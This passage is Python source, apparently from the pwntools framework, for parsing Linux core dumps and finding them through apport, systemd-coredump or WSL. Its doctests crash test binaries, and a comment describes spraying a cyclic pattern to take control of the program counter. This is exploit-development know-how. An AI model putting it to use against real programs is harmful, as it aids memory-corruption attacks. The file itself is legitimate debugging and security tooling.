libc which gets mapped.\n\n        >>> core.vdso.data[:4]\n        b'\\x7fELF'\n        >>> core.libc\n\n        But if we dump a corefile from a dynamically-linked binary, the :attr:`.libc`\n        will be loaded.\n\n        >>> process('bash').corefile.libc # doctest: +ELLIPSIS\n        Mapping('.../libc...so...', start=0x..., stop=0x..., size=0x..., flags=..., page_offset=...)\n\n        The corefile also contains a :attr:`.stack` property, which gives\n        us direct access to the stack contents.  On Linux, the very top of the stack\n        should contain two pointer-widths of NULL bytes, preceded by the NULL-\n        terminated path to the executable (as passed via the first arg to ``execve``).\n\n        >>> core.stack # doctest: +ELLIPSIS\n        Mapping('[stack]', start=0x..., stop=0x..., size=0x..., flags=0x6, page_offset=0x0)\n\n        When creating a process, the kernel puts the absolute path of the binary and some\n        padding bytes at the end of the stack.  We can look at those by looking at \n        ``core.stack.data``.\n\n        >>> size = len('/bin/bash-static') + 8\n        >>> core.stack.data[-size:]\n        b'bin/bash-static\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\n        We can also directly access the environment variables and arguments, via\n        :attr:`.argc`, :attr:`.argv`, and :attr:`.env`.\n\n        >>> 'HELLO' in core.env\n        True\n        >>> core.string(core.env['HELLO'])\n        b'WORLD'\n        >>> core.getenv('HELLO')\n        b'WORLD'\n        >>> core.argc\n        1\n        >>> core.argv[0] in core.stack\n        True\n        >>> core.string(core.argv[0]) # doctest: +ELLIPSIS\n        b'.../bin/bash-static'\n\n        Corefiles can also be pulled from remote machines via SSH!\n\n        >>> s = ssh(user='travis', host='example.pwnme', password='demopass')\n        >>> _ = s.set_working_directory()\n        >>> elf = ELF.from_assembly(shellcraft.trap())\n        >>> path = s.upload(elf.path)\n        >>> _ =s.chmod('+x', path)\n        >>> io = s.process(path)\n        >>> io.wait(1)\n        -1\n        >>> io.corefile.signal == signal.SIGTRAP # doctest: +SKIP\n        True\n\n        Make sure fault_addr synthesis works for amd64 on ret.\n\n        >>> context.clear(arch='amd64')\n        >>> elf = ELF.from_assembly('push 1234; ret')\n        >>> io = elf.process()\n        >>> io.wait(1)\n        >>> io.corefile.fault_addr\n        1234\n\n        Corefile.getenv() works correctly, even if the environment variable's\n        value contains embedded '='. Corefile is able to find the stack, even\n        if the stack pointer doesn't point at the stack.\n\n        >>> elf = ELF.from_assembly(shellcraft.crash())\n        >>> io = elf.process(env={'FOO': 'BAR=BAZ'})\n        >>> io.wait(1)\n        >>> core = io.corefile\n        >>> core.getenv('FOO')\n        b'BAR=BAZ'\n        >>> core.sp == 0\n        True\n        >>> core.sp in core.stack\n        False\n\n        context.disable_corefiles disables the automatic corefile generation\n        for crashed processes. For running processes, io.corefile still invoke\n        GDB to generate a coredump.\n\n        >>> context.clear(arch='amd64')\n        >>> context.disable_corefiles = True\n        >>> elf = ELF.from_assembly(shellcraft.crash())\n        >>> io = elf.process()\n        >>> io.wait(1)\n        >>> io.corefile is None\n        True\n        >>> io = process('bash')\n        >>> core = io.corefile\n        >>> core is not None\n        True\n\n        Corefile gracefully handles the stack being filled with garbage, including\n        argc / argv / envp being overwritten.\n\n        >>> context.clear(arch='i386')\n        >>> assembly = '''\n        ... LOOP:\n        ...   mov dword ptr [esp], 0x41414141\n        ...   pop eax\n        ...   jmp LOOP\n        ... '''\n        >>> elf = ELF.from_assembly(assembly)\n        >>> io = elf.process()\n        >>> io.wait(2)\n        >>> core = io.corefile\n        >>> core.argc, core.argv, core.env\n        (0, [], {})\n        >>> core.stack.data.endswith(b'AAAA')\n        True\n        >>> core.fault_addr == core.sp\n        True\n    \"\"\"\n\n    _fill_gaps = False\n\n    def __init__(self, *a, **kw):\n        #: The NT_PRSTATUS object.\n        self.prstatus = None\n\n        #: The NT_PRPSINFO object\n        self.prpsinfo = None\n\n        #: The NT_SIGINFO object\n        self.siginfo = None\n\n        #: :class:`list`: A list of :class:`.Mapping` objects for each loaded memory region\n        self.mappings = []\n\n        #: :class:`int`: A :class:`Mapping` corresponding to the stack\n        self.stack    = None\n\n        \"\"\"\n        Environment variables read from the stack.\n        Keys are the environment variable name, values are the memory \n        address of the variable.\n        \n        Use :meth:`.getenv` or :meth:`.string` to retrieve the textual value.\n        \n        Note: If ``FOO=BAR`` is in the environment, ``self.env['FOO']`` is the address of the string ``\"BAR\\x00\"``.\n        \"\"\"\n        self.env = {}\n\n        #: :class:`int`: Pointer to envp on the stack\n        self.envp_address = 0\n\n        #: :class:`list`: List of addresses of arguments on the stack.\n        self.argv = []\n\n        #: :class:`int`: Pointer to argv on the stack\n        self.argv_address = 0\n\n        #: :class:`int`: Number of arguments passed\n        self.argc = 0\n\n        #: :class:`int`: Pointer to argc on the stack\n        self.argc_address = 0\n\n        # Pointer to the executable filename on the stack\n        self.at_execfn = 0\n\n        # Pointer to the entry point\n        self.at_entry = 0\n\n        # Pointer to the vdso\n        self.at_sysinfo_ehdr = None\n\n        try:\n            super(Corefile, self).__init__(*a, **kw)\n        except IOError:\n            log.warning(\"No corefile.  Have you set /proc/sys/kernel/core_pattern?\")\n            raise\n\n        self.load_addr = 0\n        self._address  = 0\n\n        if self.elftype != 'CORE':\n            log.error(\"%s is not a valid corefile\" % self.path)\n\n        if self.arch not in prstatus_types:\n            log.warn_once(\"%s does not use a supported corefile architecture, registers are unavailable\" % self.path)\n\n        prstatus_type = prstatus_types.get(self.arch)\n        siginfo_type = siginfo_types.get(self.bits)\n\n        with log.waitfor(\"Parsing corefile...\") as w:\n            self._load_mappings()\n\n            for segment in self.segments:\n                if not isinstance(segment, elftools.elf.segments.NoteSegment):\n                    continue\n\n\n                for note in segment.iter_notes():\n                    # Try to find NT_PRSTATUS.\n                    if note.n_type == 'NT_PRSTATUS':\n                        self.NT_PRSTATUS = note\n                        self.prstatus = prstatus_type.from_buffer_copy(note.n_desc)\n\n                    # Try to find NT_PRPSINFO\n                    if note.n_type == 'NT_PRPSINFO':\n                        self.NT_PRPSINFO = note\n                        self.prpsinfo = note.n_desc\n\n                    # Try to find NT_SIGINFO so we can see the fault\n                    if note.n_type == 'NT_SIGINFO':\n                        self.NT_SIGINFO = note\n                        self.siginfo = siginfo_type.from_buffer_copy(note.n_desc)\n\n                    # Try to find the list of mapped files\n                    if note.n_type == 'NT_FILE':\n                        with context.local(bytes=self.bytes):\n                            self._parse_nt_file(note)\n\n                    # Try to find the auxiliary vector, which will tell us\n                    # where the top of the stack is.\n                    if note.n_type == 'NT_AUXV':\n                        self.NT_AUXV = note\n                        with context.local(bytes=self.bytes):\n                            self._parse_auxv(note)\n\n            if not self.stack and self.mappings:\n                self.stack = self.mappings[-1].stop\n                if self.mappings[-1].start == 0xffffffffff600000 and len(self.mappings) > 1:\n                    self.stack = self.mappings[-2].stop\n\n            if self.stack and self.mappings:\n                for mapping in self.mappings:\n                    if self.stack in mapping or self.stack == mapping.stop:\n                        mapping.name = '[stack]'\n                        self.stack   = mapping\n                        break\n                else:\n                    log.warn('Could not find the stack!')\n                    self.stack = None\n\n            with context.local(bytes=self.bytes):\n                try:\n                    self._parse_stack()\n                except ValueError:\n                    # If there are no environment variables, we die by running\n                    # off the end of the stack.\n                    pass\n\n            # Corefiles generated by QEMU do not have a name for the \n            # main module mapping.\n            # Fetching self.exe will cause this to be auto-populated,\n            # and is a no-op in other cases.\n            self.exe\n\n            # Print out the nice display for the user\n            self._describe_core()\n\n    def _parse_nt_file(self, note):\n        starts = []\n        addresses = {}\n\n        for vma, filename in zip(note.n_desc.Elf_Nt_File_Entry, note.n_desc.filename):\n            if not isinstance(filename, str):\n                filename = filename.decode('utf-8', 'surrogateescape')\n            for mapping in self.mappings:\n                if mapping.start == vma.vm_start:\n                    mapping.name = filename\n                    mapping.page_offset = vma.page_offset\n\n        self.mappings = sorted(self.mappings, key=lambda m: m.start)\n\n        vvar = vdso = vsyscall = False\n        for mapping in reversed(self.mappings):\n            if mapping.name:\n                continue\n\n            if not vsyscall and mapping.start == 0xffffffffff600000:\n                mapping.name = '[vsyscall]'\n                vsyscall = True\n                continue\n\n            if mapping.start == self.at_sysinfo_ehdr \\\n            or (not vdso and mapping.size in [0x1000, 0x2000]\n                and mapping.flags == 5\n                and self.read(mapping.start, 4) == b'\\x7fELF'):\n                mapping.name = '[vdso]'\n                vdso = True\n                continue\n\n            if not vvar and mapping.size == 0x2000 and mapping.flags == 4:\n                mapping.name = '[vvar]'\n                vvar = True\n                continue\n\n    @property\n    def vvar(self):\n        \"\"\":class:`Mapping`: Mapping for the vvar section\"\"\"\n        for m in self.mappings:\n            if m.name == '[vvar]':\n                return m\n\n    @property\n    def vdso(self):\n        \"\"\":class:`Mapping`: Mapping for the vdso section\"\"\"\n        for m in self.mappings:\n            if m.name == '[vdso]':\n                return m\n\n    @property\n    def vsyscall(self):\n        \"\"\":class:`Mapping`: Mapping for the vsyscall section\"\"\"\n        for m in self.mappings:\n            if m.name == '[vsyscall]':\n                return m\n\n    @property\n    def libc(self):\n        \"\"\":class:`Mapping`: First mapping for ``libc.so``\"\"\"\n        expr = r'^libc\\b.*so(?:\\.6)?$'\n\n        for m in self.mappings:\n            if not m.name:\n                continue\n\n            basename = os.path.basename(m.name)\n\n            if re.match(expr, basename):\n                return m\n\n    @property\n    def exe(self):\n        \"\"\":class:`Mapping`: First mapping for the executable file.\"\"\"\n\n        # Finding the executable mapping requires knowing the entry point\n        # from the auxv\n        if not self.at_entry:\n            return None\n\n        # The entry point may not be in the first segment of a given file,\n        # but we want to find the first segment of the file -- not the segment that \n        # contains the entrypoint.\n        first_segment_for_name = {}\n\n        for m in self.mappings:\n            first_segment_for_name.setdefault(m.name, m)\n\n        # Find which segment contains the entry point\n        for m in self.mappings:\n            if m.start <= self.at_entry < m.stop:\n\n                if not m.name and self.at_execfn:\n                    m.name = self.string(self.at_execfn)\n                    if not isinstance(m.name, str):\n                        m.name = m.name.decode('utf-8')\n\n                return first_segment_for_name.get(m.name, m)\n\n    @property\n    def pid(self):\n        \"\"\":class:`int`: PID of the process which created the core dump.\"\"\"\n        if self.prstatus:\n            return int(self.prstatus.pr_pid)\n\n    @property\n    def ppid(self):\n        \"\"\":class:`int`: Parent PID of the process which created the core dump.\"\"\"\n        if self.prstatus:\n            return int(self.prstatus.pr_ppid)\n\n    @property\n    def signal(self):\n        \"\"\":class:`int`: Signal which caused the core to be dumped.\n\n        Example:\n\n            >>> elf = ELF.from_assembly(shellcraft.trap())\n            >>> io = elf.process()\n            >>> io.wait(1)\n            >>> io.corefile.signal == signal.SIGTRAP\n            True\n\n            >>> elf = ELF.from_assembly(shellcraft.crash())\n            >>> io = elf.process()\n            >>> io.wait(1)\n            >>> io.corefile.signal == signal.SIGSEGV\n            True\n        \"\"\"\n        if self.siginfo:\n            return int(self.siginfo.si_signo)\n        if self.prstatus:\n            return int(self.prstatus.pr_cursig)\n\n    @property\n    def fault_addr(self):\n        \"\"\":class:`int`: Address which generated the fault, for the signals\n            SIGILL, SIGFPE, SIGSEGV, SIGBUS.  This is only available in native\n            core dumps created by the kernel.  If the information is unavailable,\n            this returns the address of the instruction pointer.\n\n\n        Example:\n\n            >>> elf = ELF.from_assembly('mov eax, 0xdeadbeef; jmp eax', arch='i386')\n            >>> io = elf.process()\n            >>> io.wait(1)\n            >>> io.corefile.fault_addr == io.corefile.eax == 0xdeadbeef\n            True\n        \"\"\"\n        if not self.siginfo:\n            return getattr(self, 'pc', 0)\n\n        fault_addr = int(self.siginfo.sigfault_addr)\n\n        # The fault_addr is zero if the crash occurs due to a\n        # \"protection fault\", e.g. a dereference of 0x4141414141414141\n        # because this is technically a kernel address.\n        #\n        # A protection fault does not set \"fault_addr\" in the siginfo.\n        # (http://elixir.free-electrons.com/linux/v4.14-rc8/source/kernel/signal.c#L1052)\n        #\n        # Since a common use for corefiles is to spray the stack with a\n        # cyclic pattern to find the offset to get control of $PC,\n        # check for a \"ret\" instruction (\"\\xc3\").\n        #\n        # If we find a RET at $PC, extract the \"return address\" from the\n        # top of the stack.\n        if fault_addr == 0 and self.siginfo.si_code == 0x80:\n            try:\n                code = self.read(self.pc, 1)\n                RET = b'\\xc3'\n                if code == RET:\n                    fault_addr = self.unpack(self.sp)\n            except Exception:\n                # Could not read $rsp or $rip\n                pass\n\n        return fault_addr\n\n        # No embedded siginfo structure, so just return the\n        # current instruction pointer.\n\n    @property\n    def _pc_register(self):\n        name = {\n            'i386': 'eip',\n            'amd64': 'rip',\n        }.get(self.arch, 'pc')\n        return name\n\n    @property\n    def pc(self):\n        \"\"\":class:`int`: The program counter for the Corefile\n\n        This is a cross-platform way to get e.g. ``core.eip``, ``core.rip``, etc.\n        \"\"\"\n        return self.registers.get(self._pc_register, None)\n\n    @property\n    def _sp_register(self):\n        name = {\n            'i386': 'esp',\n            'amd64': 'rsp',\n        }.get(self.arch, 'sp')\n        return name\n\n    @property\n    def sp(self):\n        \"\"\":class:`int`: The stack pointer for the Corefile\n\n        This is a cross-platform way to get e.g. ``core.esp``, ``core.rsp``, etc.\n        \"\"\"\n        return self.registers.get(self._sp_register, None)\n\n    def _describe(self):\n        pass\n\n    def _describe_core(self):\n        gnu_triplet = '-'.join(map(str, (self.arch, self.bits, self.endian)))\n\n        fields = [\n            repr(self.path),\n            '%-10s %s' % ('Arch:', gnu_triplet),\n            '%-10s %#x' % ('%s:' % self._pc_register.upper(), self.pc or 0),\n            '%-10s %#x' % ('%s:' % self._sp_register.upper(), self.sp or 0),\n        ]\n\n        if self.exe and self.exe.name:\n            fields += [\n                '%-10s %s' % ('Exe:', '%r (%#x)' % (self.exe.name, self.exe.address))\n            ]\n\n        if self.fault_addr:\n            fields += [\n                '%-10s %#x' % ('Fault:', self.fault_addr)\n            ]\n\n        log.info_once('\\n'.join(fields))\n\n    def _load_mappings(self):\n        for s in self.segments:\n            if s.header.p_type != 'PT_LOAD':\n                continue\n\n            mapping = Mapping(self,\n                              None,\n                              s.header.p_vaddr,\n                              s.header.p_vaddr + s.header.p_memsz,\n                              s.header.p_flags,\n                              None)\n            self.mappings.append(mapping)\n\n    def _parse_auxv(self, note):\n        t = tube()\n        t.unrecv(note.n_desc)\n\n        for i in range(0, note.n_descsz, context.bytes * 2):\n            key = t.unpack()\n            value = t.unpack()\n\n            # The AT_EXECFN entry is a pointer to the executable's filename\n            # at the very top of the stack, followed by a word's with of\n            # NULL bytes.  For example, on a 64-bit system...\n            #\n            # 0x7fffffffefe8  53 3d 31 34  33 00 2f 62  69 6e 2f 62  61 73 68 00  |S=14|3./b|in/b|ash.|\n            # 0x7fffffffeff8  00 00 00 00  00 00 00 00                            |....|....|    |    |\n\n            if key == constants.AT_EXECFN:\n                self.at_execfn = value\n                value = value & ~0xfff\n                value += 0x1000\n                self.stack = value\n\n            if key == constants.AT_ENTRY:\n                self.at_entry = value\n\n            if key == constants.AT_PHDR:\n                self.at_phdr = value\n\n            if key == constants.AT_BASE:\n                self.at_base = value\n\n            if key == constants.AT_SYSINFO_EHDR:\n                self.at_sysinfo_ehdr = value\n\n    def _parse_stack(self):\n        # Get a copy of the stack mapping\n        stack = self.stack\n\n        if not stack:\n            return\n\n        # If the stack does not end with zeroes, something is very wrong.\n        if not stack.data.endswith(b'\\x00' * context.bytes):\n            log.warn_once(\"End of the stack is corrupted, skipping stack parsing (got: %s)\",\n                          enhex(self.data[-context.bytes:]))\n            return\n\n        # AT_EXECFN is the start of the filename, e.g. '/bin/sh'\n        # Immediately preceding is a NULL-terminated environment variable string.\n        # We want to find the beginning of it\n        if not self.at_execfn:\n            address = stack.stop\n            address -= 2*self.bytes\n            address -= 1\n            address = stack.rfind(b'\\x00', None, address)\n            address += 1\n            self.at_execfn = address\n\n        address = self.at_execfn-1\n\n\n        # Sanity check!\n        try:\n            if stack[address] != b'\\x00':\n                log.warning(\"Error parsing corefile stack: Could not find end of environment\")\n                return\n        except ValueError:\n            log.warning(\"Error parsing corefile stack: Address out of bounds\")\n            return\n\n        # address is currently set to the NULL terminator of the last\n        # environment variable.\n        address = stack.rfind(b'\\x00', None, address)\n\n        # We've found the beginning of the last environment variable.\n        # We should be able to search up the stack for the envp[] array to\n        # find a pointer to this address, followed by a NULL.\n        last_env_addr = address + 1\n        p_last_env_addr = stack.find(pack(last_env_addr), None, last_env_addr)\n        if p_last_env_addr < 0:\n            # Something weird is happening.  Just don't touch it.\n            log.warn_once(\"Error parsing corefile stack: Found bad environment at %#x\", last_env_addr)\n            return\n\n        # Sanity check that we did correctly find the envp NULL terminator.\n        envp_nullterm = p_last_env_addr+context.bytes\n        if self.unpack(envp_nullterm) != 0:\n            log.warning(\"Error parsing corefile stack: Could not find end of environment variables\")\n            return\n\n        # We've successfully located the end of the envp[] array.\n        #\n        # It comes immediately after the argv[] array, which itself\n        # is NULL-terminated.\n        #\n        # Now let's find the end of argv\n        p_end_of_argv = stack.rfind(pack(0), None, p_last_env_addr)\n\n        self.envp_address = p_end_of_argv + self.bytes\n\n        # Now we can fill in the environment\n        env_pointer_data = stack[self.envp_address:p_last_env_addr+self.bytes]\n        for pointer in unpack_many(env_pointer_data):\n\n            # If the stack is corrupted, the pointer will be outside of\n            # the stack.\n            if pointer not in stack:\n                continue\n\n            try:\n                name_value = self.string(pointer)\n            except Exception:\n                continue\n\n            name, _ = name_value.split(b'=', 1)\n\n            # \"end\" points at the byte after the null terminator\n            end = pointer + len(name_value) + 1\n\n            # Do not mark things as environment variables if they point\n            # outside of the stack itself, or we had to cross into a different\n            # mapping (after the stack) to read it.\n            # This may occur when the entire stack is filled with non-NUL bytes,\n            # and we NULL-terminate on a read failure in .string().\n            if end not in stack:\n                continue\n\n            if not isinstance(name, str):\n                name = name.decode('utf-8', 'surrogateescape')\n            self.env[name] = pointer + len(name) + len('=')\n\n        # May as well grab the arguments off the stack as well.\n        # argc comes immediately before argv[0] on the stack, but\n        # we don't know what argc is.\n        #\n        # It is unlikely that argc is a valid stack address.\n        address = p_end_of_argv - self.bytes\n        while self.unpack(address) in stack:\n            address -= self.bytes\n\n        # address now points at argc\n        self.argc_address = address\n        self.argc = self.unpack(self.argc_address)\n\n        # we can extract all of the arguments as well\n        self.argv_address = self.argc_address + self.bytes\n        self.argv = unpack_many(stack[self.argv_address: p_end_of_argv])\n\n    @property\n    def maps(self):\n        \"\"\":class:`str`: A printable string which is similar to /proc/xx/maps.\n\n        ::\n\n            >>> print(Corefile('./core').maps)\n            8048000-8049000 r-xp 1000 /home/user/pwntools/crash\n            8049000-804a000 r--p 1000 /home/user/pwntools/crash\n            804a000-804b000 rw-p 1000 /home/user/pwntools/crash\n            f7528000-f7529000 rw-p 1000 None\n            f7529000-f76d1000 r-xp 1a8000 /lib/i386-linux-gnu/libc-2.19.so\n            f76d1000-f76d2000 ---p 1000 /lib/i386-linux-gnu/libc-2.19.so\n            f76d2000-f76d4000 r--p 2000 /lib/i386-linux-gnu/libc-2.19.so\n            f76d4000-f76d5000 rw-p 1000 /lib/i386-linux-gnu/libc-2.19.so\n            f76d5000-f76d8000 rw-p 3000 None\n            f76ef000-f76f1000 rw-p 2000 None\n            f76f1000-f76f2000 r-xp 1000 [vdso]\n            f76f2000-f7712000 r-xp 20000 /lib/i386-linux-gnu/ld-2.19.so\n            f7712000-f7713000 r--p 1000 /lib/i386-linux-gnu/ld-2.19.so\n            f7713000-f7714000 rw-p 1000 /lib/i386-linux-gnu/ld-2.19.so\n            fff3e000-fff61000 rw-p 23000 [stack]\n        \"\"\"\n        return '\\n'.join(map(str, self.mappings))\n\n    def getenv(self, name):\n        \"\"\"getenv(name) -> int\n\n        Read an environment variable off the stack, and return its contents.\n\n        Arguments:\n            name(str): Name of the environment variable to read.\n\n        Returns:\n            :class:`str`: The contents of the environment variable.\n\n        Example:\n\n            >>> elf = ELF.from_assembly(shellcraft.trap())\n            >>> io = elf.process(env={'GREETING': 'Hello!'})\n            >>> io.wait(1)\n            >>> io.corefile.getenv('GREETING')\n            b'Hello!'\n        \"\"\"\n        if not isinstance(name, str):\n            name = name.decode('utf-8', 'surrogateescape')\n        if name not in self.env:\n            log.error(\"Environment variable %r not set\" % name)\n\n        return self.string(self.env[name])\n\n    @property\n    def registers(self):\n        \"\"\":class:`dict`: All available registers in the coredump.\n\n        Example:\n\n            >>> elf = ELF.from_assembly('mov eax, 0xdeadbeef;' + shellcraft.trap(), arch='i386')\n            >>> io = elf.process()\n            >>> io.wait(1)\n            >>> io.corefile.registers['eax'] == 0xdeadbeef\n            True\n        \"\"\"\n        if not self.prstatus:\n            return {}\n\n        rv = {}\n\n        for k in dir(self.prstatus.pr_reg):\n            if k.startswith('_'):\n                continue\n\n            try:\n                rv[k] = int(getattr(self.prstatus.pr_reg, k))\n            except Exception:\n                pass\n\n        return rv\n\n    def debug(self):\n        \"\"\"Open the corefile under a debugger.\"\"\"\n        import pwnlib.gdb\n        pwnlib.gdb.attach(self, exe=self.exe.path)\n\n    def __getattr__(self, attribute):\n        if attribute.startswith('_') or not self.prstatus:\n            raise AttributeError(attribute)\n\n        if hasattr(self.prstatus, attribute):\n            return getattr(self.prstatus, attribute)\n\n        return getattr(self.prstatus.pr_reg, attribute)\n\n    # Override routines which don't make sense for Corefiles\n    def _populate_got(*a): pass\n    def _populate_plt(*a): pass\n\nclass Core(Corefile):\n    \"\"\"Alias for :class:`.Corefile`\"\"\"\n\nclass Coredump(Corefile):\n    \"\"\"Alias for :class:`.Corefile`\"\"\"\n\nclass CorefileFinder(object):\n    def __init__(self, proc):\n        if proc.poll() is None:\n            log.error(\"Process %i has not exited\" % (proc.pid))\n\n        self.process = proc\n        self.pid = proc.pid\n        self.uid = proc.suid\n        self.gid = proc.sgid\n        self.exe = proc.executable\n        self.basename = os.path.basename(self.exe)\n        self.cwd = proc.cwd\n\n        # XXX: Should probably break out all of this logic into\n        #      its own class, so that we can support \"file ops\"\n        #      locally, via SSH, and over ADB, in a transparent way.\n        if isinstance(proc, process):\n            self.read = read\n            self.unlink = os.unlink\n        elif isinstance(proc, ssh_channel):\n            self.read = proc.parent.read\n            self.unlink = proc.parent.unlink\n\n        self.kernel_core_pattern = self.read('/proc/sys/kernel/core_pattern').strip()\n        self.kernel_core_uses_pid = bool(int(self.read('/proc/sys/kernel/core_uses_pid')))\n\n        log.debug(\"core_pattern: %r\" % self.kernel_core_pattern)\n        log.debug(\"core_uses_pid: %r\" % self.kernel_core_uses_pid)\n\n        self.interpreter = self.binfmt_lookup()\n\n        log.debug(\"interpreter: %r\" % self.interpreter)\n\n        # If we have already located the corefile, we will\n        # have renamed it to 'core.<pid>'\n        core_path = 'core.%i' % (proc.pid)\n        self.core_path = None\n\n        if os.path.isfile(core_path):\n            log.debug(\"Found core immediately: %r\" % core_path)\n            self.core_path = core_path\n\n        # Try QEMU first, since it's unlikely to be a false-positive unless\n        # there is a PID *and* filename collision.\n        if not self.core_path:\n            log.debug(\"Looking for QEMU corefile\")\n            self.core_path = self.qemu_corefile()\n\n        # Check for native coredumps as a last resort\n        if not self.core_path:\n            log.debug(\"Looking for native corefile\")\n            self.core_path = self.native_corefile()\n\n        if not self.core_path:\n            return\n\n        core_pid = self.load_core_check_pid()\n\n        # Move the corefile if we're configured that way\n        if context.rename_corefiles:\n            new_path = 'core.%i' % core_pid\n            if core_pid > 0 and new_path != self.core_path:\n                write(new_path, self.read(self.core_path))\n                try:\n                    self.unlink(self.core_path)\n                except (IOError, OSError):\n                    log.warn(\"Could not delete %r\" % self.core_path)\n                self.core_path = new_path\n\n        # Check the PID\n        if core_pid != self.pid:\n            log.warn(\"Corefile PID does not match! (got %i)\" % core_pid)\n\n        # Register the corefile for removal only if it's an exact match\n        elif context.delete_corefiles:\n            atexit.register(lambda: os.unlink(self.core_path))\n\n\n    def load_core_check_pid(self):\n        \"\"\"Test whether a Corefile matches our process\n\n        Speculatively load a Corefile without informing the user, so that we\n        can check if it matches the process we're looking for.\n\n        Arguments:\n            path(str): Path to the corefile on disk\n\n        Returns:\n            `bool`: ``True`` if the Corefile matches, ``False`` otherwise.\n        \"\"\"\n\n        try:\n            with context.quiet:\n                with tempfile.NamedTemporaryFile() as tmp:\n                    tmp.write(self.read(self.core_path))\n                    tmp.flush()\n                    return Corefile(tmp.name).pid\n        except Exception:\n            pass\n\n        return -1\n\n    def apport_corefile(self):\n        \"\"\"Find the apport crash for the process, and extract the core file.\n\n        Arguments:\n            process(process): Process object we're looking for.\n\n        Returns:\n            `str`: Raw core file contents\n        \"\"\"\n        crash_data = self.apport_read_crash_data()\n\n        log.debug(\"Apport Crash Data:\\n%s\" % crash_data)\n\n        if crash_data:\n            return self.apport_crash_extract_corefile(crash_data)\n\n    def apport_crash_extract_corefile(self, crashfile_data):\n        \"\"\"Extract a corefile from an apport crash file contents.\n\n        Arguments:\n            crashfile_data(str): Crash file contents\n\n        Returns:\n            `str`: Raw binary data for the core file, or ``None``.\n        \"\"\"\n        file = StringIO(crashfile_data)\n\n        # Find the pid of the crashfile\n        for line in file:\n            if line.startswith(' Pid:'):\n                pid = int(line.split()[-1])\n\n                if pid == self.pid:\n                    break\n        else:\n            # Could not find a \" Pid:\" line\n            return\n\n        # Find the CoreDump section\n        for line in file:\n            if line.startswith('CoreDump: base64'):\n                break\n        else:\n            # Could not find the coredump data\n            return\n\n        # Get all of the base64'd lines\n        chunks = []\n        for line in file:\n            if not line.startswith(' '):\n                break\n            chunks.append(b64d(line))\n\n        # Smush everything together, then extract it\n        compressed_data = b''.join(chunks)\n        compressed_file = BytesIO(compressed_data)\n        gzip_file = gzip.GzipFile(fileobj=compressed_file)\n        core_data = gzip_file.read()\n\n        return core_data\n\n    def apport_read_crash_data(self):\n        \"\"\"Find the apport crash for the process\n\n        Returns:\n            `str`: Raw contents of the crash file or ``None``.\n        \"\"\"\n        uid = self.uid\n        crash_name = self.exe.replace('/', '_')\n\n        crash_path = '/var/crash/%s.%i.crash' % (crash_name, uid)\n\n        try:\n            log.debug(\"Looking for Apport crash at %r\" % crash_path)\n            data = self.read(crash_path)\n        except Exception:\n            return None\n\n        # Remove the crash file, so that future crashes will be captured\n        try:\n            self.unlink(crash_path)\n        except Exception:\n            pass\n\n        # Convert bytes-like object to string\n        if isinstance(data, bytes):\n            data = data.decode('utf-8')\n\n        return data\n\n    def systemd_coredump_corefile(self):\n        \"\"\"Find the systemd-coredump crash for the process and dump it to a file.\n\n        Arguments:\n            process(process): Process object we're looking for.\n\n        Returns:\n            `str`: Filename of core file, if coredump was found.\n        \"\"\"\n        filename = \"core.%s.%i.coredumpctl\" % (self.basename, self.pid)\n        try:\n            subprocess.check_call(\n                [\n                    \"coredumpctl\",\n                    \"dump\",\n                    \"--output=%s\" % filename,\n                    # Filter coredump by pid\n                    str(self.pid),\n                ],\n                stdout=open(os.devnull, 'w'),\n                stderr=subprocess.STDOUT,\n                shell=False,\n            )\n            return filename\n        except subprocess.CalledProcessError as e:\n            log.debug(\"coredumpctl failed with status: %d\" % e.returncode)\n\n    def wsl_capture_crash_corefile(self):\n        # Get the temp directory of the current user on Windows.\n        with context.local(os=\"windows\", log_level=\"error\"):\n            with process([which(\"cmd.exe\"), \"/U\", \"/c\", \"echo %TEMP%\"]) as p:\n                windows_temp = p.recvall().decode(\"utf-16le\").strip().split(context.newline.decode())\n            if not windows_temp:\n                log.error(\"Could not determine Windows temp directory\")\n                return None\n            # Convert the C:\\... Windows path to a WSL path.\n            with process([which(\"wslpath\"), \"-a\", \"-u\", windows_temp[-1]]) as p:\n                windows_temp_path = p.recvallS().strip()\n\n        # The /wsl-capture-crash tool stores the core files in %TEMP%\\wsl-crashes\n        wsl_crashes = os.path.join(windows_temp_path, \"wsl-crashes\")\n        if not os.path.isdir(wsl_crashes):\n            log.debug(\"WSL crashes directory does not exist: %r\", wsl_crashes)\n            return None\n\n        # Format the name\n        corefile_name = 'wsl-crash-*-{pid}-*{basename}*.dmp'\n        corefile_name = corefile_name.format(pid=self.pid, basename=self.basename)\n\n        # Get the full path\n        corefile_path = os.path.join(wsl_crashes, corefile_name)\n\n        log.debug(\"Trying corefile_path: %r\", corefile_path)\n\n        # Glob all of them, return the *most recent* based on numeric sort order.\n        for corefile in sorted(glob.glob(corefile_path), reverse=True):\n            return corefile\n        return None\n\n    def native_corefile(self):\n        \"\"\"Find the corefile for a native crash.\n\n        Arguments:\n            process(process): Process whose crash we should find.\n\n        Returns:\n            `str`: Filename of core file.\n        \"\"\"\n        if self.kernel_core_pattern.startswith(b'|'):\n            log.debug(\"Checking for corefile (piped)\")\n            return self.native_corefile_pipe()\n\n        log.debug(\"Checking for corefile (pattern)\")\n        return self.native_corefile_pattern()\n\n    def native_corefile_pipe(self):\n        \"\"\"Find the corefile for a piped core_pattern\n\n        Supports apport and systemd-coredump.\n\n        Arguments:\n            process(process): Process whose crash we should find.\n\n        Returns:\n            `str`: Filename of core file.\n        \"\"\"\n        if b'/apport' in self.kernel_core_pattern:\n            log.debug(\"Found apport in core_pattern\")\n            apport_core = self.apport_corefile()\n\n            if apport_core:\n                # Write the corefile to the local directory\n                filename = 'core.%s.%i.apport' % (self.basename, self.pid)\n                with open(filename, 'wb+') as f:\n                    f.write(apport_core)\n                return filename\n\n            filename = self.apport_coredump()\n            if filename:\n                return filename\n\n            # Pretend core_pattern was just 'core', and see if we come up with anything\n            self.kernel_core_pattern = 'core'\n            return self.native_corefile_pattern()\n        elif b'systemd-coredump' in self.kernel_core_pattern:\n            log.debug(\"Found systemd-coredump in core_pattern\")\n            return self.systemd_coredump_corefile()\n        elif b'/wsl-capture-crash' in self.kernel_core_pattern:\n            log.debug(\"Found WSL core_pattern\")\n            return self.wsl_capture_crash_corefile()\n        else:\n            log.warn_once(\"Unsupported core_pattern: %r\", self.kernel_core_pattern)\n            return None\n\n    def native_corefile_pattern(self):\n        \"\"\"\n        %%  a single % character\n        %c  core file size soft resource limit of crashing process (since Linux 2.6.24)\n    